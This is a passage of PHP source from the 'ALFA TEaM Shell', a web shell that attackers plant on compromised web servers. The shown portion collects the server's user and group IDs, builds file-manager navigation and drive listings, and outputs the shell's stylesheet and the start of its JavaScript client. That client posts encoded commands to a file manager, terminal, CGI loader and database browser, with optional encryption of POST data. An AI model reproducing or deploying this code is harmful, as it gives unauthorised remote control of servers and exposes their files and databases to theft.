function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");\r\n$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");\r\n$user = $uid[\'name\'];\r\n$uid = $uid[\'uid\'];\r\n$group = $gid[\'name\'];\r\n$gid = $gid[\'gid\'];\r\n}\r\n$cwd_links = \'\';\r\n$path = explode("/", $GLOBALS[\'cwd\']);\r\n$n=count($path);\r\nfor($i=0; $i<$n-1; $i++) {\r\n$cwd_links .= "<a class=\'header_pwd\' onclick=\'g(\\"FilesMan\\",\\"";\r\n$cach_cwd_path = "";\r\nfor($j=0; $j<=$i; $j++){\r\n$cwd_links .= $path[$j].\'/\';\r\n$cach_cwd_path .= $path[$j].\'/\';\r\n}\r\n$cwd_links .= "\\")\' path=\'".$cach_cwd_path."\' href=\'#action=fileman&path=".$cach_cwd_path."\'>".$path[$i]."/</a>";\r\n}\r\n$drives = "";\r\nforeach(range(\'a\',\'z\') as $drive)\r\nif(@is_dir($drive.\':\\\\\'))\r\n$drives .= \'<a href="javascript:void(0);" class="header_drive" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n$csscode =\'\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;\';\r\necho \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n<head>\r\n<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\r\n<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />\r\n<link href="\'.__showicon(\'alfamini\').\'" rel="icon" type="image/x-icon"/>\r\n<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\' ~ ALFA TEaM Shell - v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ::..</title>\r\n<style type="text/css">\';?>\r\n.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media (min-width:768px){.alert-area{width:350px;left:auto;right:0;z-index:9999}}@keyframes tab_change_color{0%{background-color:#133d51}50%{background-color:green}}@-webkit-keyframes alert-shake{0%{-webkit-transform:translateX(0)}20%{-webkit-transform:translateX(-10px)}40%{-webkit-transform:translateX(10px)}60%{-webkit-transform:translateX(-10px)}80%{-webkit-transform:translateX(10px)}100%{-webkit-transform:translateX(0)}}@keyframes alert-shake{0%{transform:translateX(0)}20%{transform:translateX(-10px)}40%{transform:translateX(10px)}60%{transform:translateX(-10px)}80%{transform:translateX(10px)}100%{transform:translateX(0)}}.textEffect{position:absolute;width:500px;top:-10px;animation:alert-shake .5s ease-in-out;animation-iteration-count:2}.alfateam-loader-text{position:absolute;color:#46bb45;top:23%;left:49%;transform:translate(-50%,-50%);font-size:40px;letter-spacing:7px}.alfa-ajax-error{position:absolute;color:#ff0a0a;top:50%;left:50%;transform:translate(-50%,-50%);font-size:30px}.connection-hist-table{margin-left:auto;margin-right:auto;text-align:justify;border-collapse:collapse}.connection-hist-table td,.connection-hist-table th{border:1px solid #ddd;text-align:left;padding:8px}.connection-his-btn{margin-bottom:10px;padding:5px;background:#206920;color:#fff;border:none;outline:0;cursor:pointer;font-weight:700;transition:background .3s}.connection-his-btn.connection-delete{margin:unset;padding:5px;background:red;width:33px;border-radius:3px;transition:background .3s}.connection-delete:hover{background:#f56969!important}.connection-his-btn:hover{background:#30b330}#up_bar_holder{position:fixed;z-index:100000;width:100%}#filesman_tabs{padding:8px;border:1px solid #0e304a;color:#67abdf;overflow-x:auto;white-space:nowrap}.sortable-ghost{opacity:.5;background:#c8ebfb}.folder-tab-icon{width:16px!important}#filesman-tab-full-path{display:none;position:absolute;pointer-events:none;background:#163746;padding:7px;color:#0f0;border-radius:10px;min-width:58px;z-index:10}#filesman-tab-full-path::after{content:"";position:absolute;top:100%;left:35px;margin-left:-5px;border-width:5px;border-style:solid;pointer-events:none;border-color:#163746 transparent transparent transparent}.mysql-main{height:84vh;position:relative}.mysql-hide-content{display:none}.mysql-query-result-tabs{margin-bottom:10px;padding:3px;border-bottom:4px solid #0f304a}.mysql-main .tables-panel-ctl{position:absolute;color:#fff;padding:10px;z-index:1;border-radius:10px;top:45%;left:calc(17% + 10px);background-color:#009687;cursor:pointer}.tables-panel-ctl-min{left:-21px!important}.mysql-query-result-tabs div{display:inline-block;padding:5px;margin-right:2px;background:#133d51;color:#fff;cursor:pointer;transition:background-color .5s}.mysql-query-result-tabs div:hover{background-color:#a23939}.mysql-query-result-tabs div.mysql-query-selected-tab{background:red}table tr.tbl_row:nth-child(odd){background:#424040}.mysql-tables .tables-row{margin-left:26px}.mysql-main .mysql-query-results,.mysql-main .mysql-tables{float:left;height:100%;overflow:auto}.mysql-main .mysql-query-results{width:calc(80% + 4px);margin-left:5px;position:relative;overflow:unset}.mysql-main .mysql-query-results-fixed{width:100%}.mysql-main .mysql-query-results .mysql-query-content{height:89%;overflow:auto}.mysql-query-tab-hide{height:0!important;padding:0!important}.mysql-main .mysql-tables{width:19%;border-right:4px solid #0e304a}.mysql-main table td{vertical-align:top}.mysql-main .mysql-search-area table td{vertical-align:middle;padding:7px}.mysql-tables .block{position:relative;width:1.5em;height:1.5em;min-width:16px;min-height:16px;float:left}.mysql-tables div.block b,.mysql-tables div.block i{width:1.5em;height:1.7em;min-width:16px;min-height:8px;position:absolute;bottom:.7em;left:.75em;z-index:0}.mysql-tables .block i{display:block;border-left:1px solid #666;border-bottom:1px solid #666;position:relative;z-index:0}.mysql-tables .block b{display:block;height:.75em;bottom:0;left:.75em;border-left:1px solid #666}.mysql-tables div.block a,.mysql-tables div.block u{position:absolute;left:50%;top:50%;z-index:10}.mysql-tables div.block img{position:relative;top:-.6em;left:0;margin-left:-7px}.mysql-tables .clearfloat{clear:both}.mysql-tables ul{list-style-type:none;margin-left:0;padding:0}.mysql-tables ul li{white-space:nowrap;clear:both;min-height:16px}.mysql-tables .db_name{margin-left:10px}.mysql-tables .list_container{border-left:1px solid #666;margin-left:.75em;padding-left:.75em}.hide-db-tables{display:none}.mysql-main:after{content:"";display:table;clear:both}table.mysql-data-tbl{border:none!important;border-collapse:collapse!important}table.mysql-data-tbl tr th{padding:5px}table.mysql-data-tbl td{border-left:3px solid #305a8d;border-right:3px solid #305a8d;padding:6px}table.mysql-data-tbl td:first-child{border-left:none}table.mysql-data-tbl td:last-child{border-right:none}.mysql-insert-result,.mysql-structure-qres,.mysql-update-result{display:none;text-align:center;padding:10px;border:1px dashed;margin:22px}#alfa-copyright{margin-top:15px}.ic_b_plus{background-image:url(http://solevisible.com/icons/menu/b_plus.png)}.ic_b_minus{background-image:url(http://solevisible.com/icons/menu/b_minus.png)}\r\n<?php echo \'\r\n@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}\r\n@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}\r\n@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}\r\n@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}\r\n#alfaloader{\'.$csscode.\'width:100px;height:100px;}\r\n#a_loader img{\'.$csscode.\'width:150px;height:150px;position:fixed;z-index:999999;top: 31%;left: 45%;}\r\n.ajaxarea{display:none;border:1px solid #0E304A;color:#67ABDF}.up_bar{margin-bottom: 2px;transition:width 2s;background-color:red;width:0;height:8px;display:none;}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:\'.alfa_getColor("header_values").\';font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{outline:none;cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:\'.($GLOBALS[\'DB_NAME\'][\'show_icons\']==\'1\'?\'0\':\'1\').\'px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(\'.__showicon(\'btn\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\r\n.foottable{width: 300px;font-weight: bold;\'.(!@is_writable($GLOBALS[\'cwd\'])?\'}.dir{background-color:red;}\':\'}\').\'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}\'.alfaCssLoadColors().\'\r\n</style>\';\r\necho "<script type=\'text/javascript\'>\r\nvar c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\nvar a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\';\r\nvar charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\nvar islinux = ".($GLOBALS[\'sys\']!="win"?\'true\':\'false\').";\r\nvar post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?\'true\':\'false\').";";?>\r\nvar alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] 